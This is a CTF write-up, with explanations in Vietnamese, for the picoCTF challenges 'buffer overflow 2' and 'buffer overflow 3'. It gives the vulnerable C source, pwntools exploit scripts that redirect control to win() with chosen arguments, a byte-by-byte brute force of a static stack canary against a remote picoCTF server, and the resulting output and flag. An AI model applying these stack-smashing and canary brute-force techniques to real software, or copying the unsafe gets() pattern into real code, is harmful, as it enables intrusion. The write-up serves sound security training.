pwn - buffer overflow 23
Control the return address and arguments | Do you think you can bypass the protection and get the flag?
November 4, 2025
•
October 12, 2025
•
Hard
buffer overflow 2
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}Mitigation

Solve
Với kiến trúc x86, calling convention phổ biến nhất là cdecl, các tham số được đẩy vào stack theo thứ tự từ phải sang trái (<—). Và chúng nằm dưới return address của callee.
pwndbg> x/3i win+118
0x804930c <win+118>: cmp DWORD PTR [ebp+0x8],0xcafef00d
0x8049313 <win+125>: jne 0x804932f <win+153>
0x8049315 <win+127>: cmp DWORD PTR [ebp+0xc],0xf00df00dChúng ta sẽ thêm 2 giá trị cần thiết vào ebp+8 và ebp+12.
Script
from pwn import *
p = process('./vuln')
elf = ELF('./vuln')
payload = b'a' * 112
payload += p32(elf.symbols['win']) # vuln()'s return address, later become win()'s ebp
payload += b'a' * 4 # win()'s return address
payload += p32(0xCAFEF00D)
payload += p32(0xF00DF00D)
p.sendlineafter(b"Please enter your string: ", payload)
p.recvuntil(b'\xf0\n')
print(p.recvuntil(b'}').decode())buffer overflow 3
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
fflush(stdout);
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(0);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}Mitigation

Solve
Theo như hint của challenge chúng ta cần thực hiện một kiểu brute-force nào đó. Để ý rằng, canary được đọc từ một file, nên có thể nó sẽ là tĩnh, không thay đổi mỗi lần chạy. Vậy chúng ta sẽ brute-force canary và sau đó ghi đè return address của vuln() thành win().
Chúng ta giả sử canary chỉ chứa chữ thường, chữ hoa, chữ số và gạch dưới.
Script
from pwn import *
import string
elf = ELF('./vuln')
def send(n, payload):
p = remote('saturn.picoctf.net', 60226)
p.sendlineafter(b'How Many Bytes will You Write Into the Buffer?\n> ', str(n).encode())
p.sendlineafter(b'Input> ', payload)
return p.recvall()
canary = b""
charset = (string.ascii_lowercase + string.ascii_uppercase + string.digits + '_').encode()
print("brute-force canary")
for i in range(1, 5):
for b in charset:
print("try:", p8(b))
if b'Ok' in send(64 + i, b'a' * 64 + canary + p8(b)):
canary += p8(b)
print(p8(b), "ok", "current canary:", canary)
break
print("complete canary:", canary)
print("overwrite return address of vuln() to win()")
payload = b'a' * 64 + canary + b'a' * 16 + p32(elf.symbols['win'])
print(send(len(payload), payload))try: b'R'
[+] Opening connection to saturn.picoctf.net on port 60226: Done
[+] Receiving all data: Done (28B)
[*] Closed connection to saturn.picoctf.net port 60226
b'R' ok current canary: b'BiR'
try: b'a'
[+] Opening connection to saturn.picoctf.net on port 60226: Done
[+] Receiving all data: Done (60B)
[*] Closed connection to saturn.picoctf.net port 60226
try: b'b'
[+] Opening connection to saturn.picoctf.net on port 60226: Done
[+] Receiving all data: Done (60B)
[*] Closed connection to saturn.picoctf.net port 60226
try: b'c'
[+] Opening connection to saturn.picoctf.net on port 60226: Done
[+] Receiving all data: Done (60B)
[*] Closed connection to saturn.picoctf.net port 60226
try: b'd'
[+] Opening connection to saturn.picoctf.net on port 60226: Done
[+] Receiving all data: Done (28B)
[*] Closed connection to saturn.picoctf.net port 60226
b'd' ok current canary: b'BiRd'
complete canary: b'BiRd'
overwrite return address of vuln() to win()
[+] Opening connection to saturn.picoctf.net on port 60226: Done
[+] Receiving all data: Done (70B)
[*] Closed connection to saturn.picoctf.net port 60226
b"Ok... Now Where's the Flag?\npicoCTF{Stat1C_c4n4r13s_4R3_b4D_14b7d39c}\n"